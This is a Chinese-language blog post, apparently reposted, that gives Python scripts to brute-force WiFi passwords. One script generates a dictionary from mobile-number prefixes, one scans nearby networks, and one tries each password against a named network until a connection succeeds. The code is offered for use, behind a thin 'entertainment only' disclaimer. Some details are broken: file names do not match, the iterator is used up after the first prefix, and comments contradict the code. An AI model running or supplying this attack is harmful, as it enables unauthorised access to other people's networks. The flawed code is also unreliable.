python實現 wifi密碼 破解-密碼字典篇【本篇文章僅供娛樂,請不要做非法用途】

Python實現暴力破解wifi密碼【本篇文章僅供娛樂,請不要做非法用途】

準備工作
    1、準備密碼字典
    2、Python掃描周圍有的無線網名稱和信號強度
    3、暴力方式破解wifi
生成密碼
# -*- coding: utf-8 -*-
import itertools as its
import datetime
 
#記錄程序運行時間
start=datetime.datetime.now()
words = '1234567890'#這裏可以加入字母和其他字符,使用string包更方便
# 生成密碼的位數
r = its.product(words,repeat=8)#4即生成4位密碼,正常情況下熱點密碼位數爲8
dic = open("paswwer.txt", 'a')
phoneNumHead = ['134', '135', '136', '137', '138', '139', '147', '150', '151', '152', '157', '158', '159', '182', '187', '188', '130', '131', '132', '155', '156', '185', '186', '133', '153', '180', '189', '154', '181', '183', '184']
# phoneNumHead = [1]
for num in phoneNumHead:
    for i in r:
        line = ''.join(i)
        dic.write(str(num) + str(line) + '\n')
        # print(i)
 
dic.close()
print('密碼本生成好了')
end=datetime.datetime.now()
print("生成密碼本一共用了多長時間:{}".format(end-start))
掃描周圍wifi信息
# -*- coding: utf-8 -*-
import pywifi


if __name__ == '__main__':
    wifi = pywifi.PyWiFi()
    iface = wifi.interfaces()[0]
    # 起始獲得的是列表,列表中存放的是無線網卡對象。
    # 可能一臺電腦有多個網卡,請注意選擇


    # 如果網卡選擇錯了,程序會卡住,不出結果。
    iface.scan()

    result=iface.scan_results()

    for i in range(len(result)):
        print(result[i].ssid, result[i].signal)
    #ssid 是名稱 ,signal 是信號強度
    print('ok')
暴力破解wifi
# -*- coding: utf-8 -*-
import pywifi
from pywifi import const
import time
import datetime
 
 
#測試連接,返回鏈接結果
def wifiConnect(pwd):
    #抓取網卡接口
    wifi=pywifi.PyWiFi()
    #獲取第一個無線網卡
    ifaces=wifi.interfaces()[0]
    #斷開所有連接
    ifaces.disconnect()
    #這裏有個時間點,理論上時間間隔越長,破解wifi過程中越不容易被路由設備拒絕,但是缺點就是破解需要的整體時間過長
    time.sleep(1)
    wifistatus=ifaces.status()
    if wifistatus ==const.IFACE_DISCONNECTED:
        #創建WiFi連接文件
        profile=pywifi.Profile()
        #要連接WiFi的名稱
        profile.ssid="jiayi"
        #網卡的開放狀態
        profile.auth=const.AUTH_ALG_OPEN
        #wifi加密算法,一般wifi加密算法爲wps
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        #加密單元
        profile.cipher=const.CIPHER_TYPE_CCMP
        #調用密碼
        profile.key=pwd
        #刪除所有連接過的wifi文件
        ifaces.remove_all_network_profiles()
        #設定新的連接文件
        tep_profile=ifaces.add_network_profile(profile)
        ifaces.connect(tep_profile)
        #wifi連接時間
        time.sleep(3)
        if ifaces.status()==const.IFACE_CONNECTED:
            return True
        else:
            return False
    else:
        print("已有wifi連接") 
 
#讀取密碼本
def readPassword():
    print("開始破解:")
    #密碼本路徑
    path="password.txt"
    #打開文件
    file = open(path, "r")
    while True:
        try:
            #一行一行讀取
            pad=file.readline()
            bool=wifiConnect(pad)
            
            if bool:
                print("密碼已破解: ",pad)
                print("WiFi已自動連接!!!")
                with open('ok.ini', 'a') as f:
                    f.write(str(pad) + '\n')
                break
            else:
                #跳出當前循環,進行下一次循環
                print("密碼破解中....密碼校對: ",pad)
        except:
            continue
 
start=datetime.datetime.now() 
readPassword()
end=datetime.datetime.now()
print("破解WIFI密碼一共用了多長時間:{}".format(end-start))

聲明:
代碼非原裝,本人只是做了整理、優化工作,文章主要是讓大家瞭解暴力破解的原理及其實現,請不要拿做非法用途。若產生不良後果,使用者要負全部責任。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章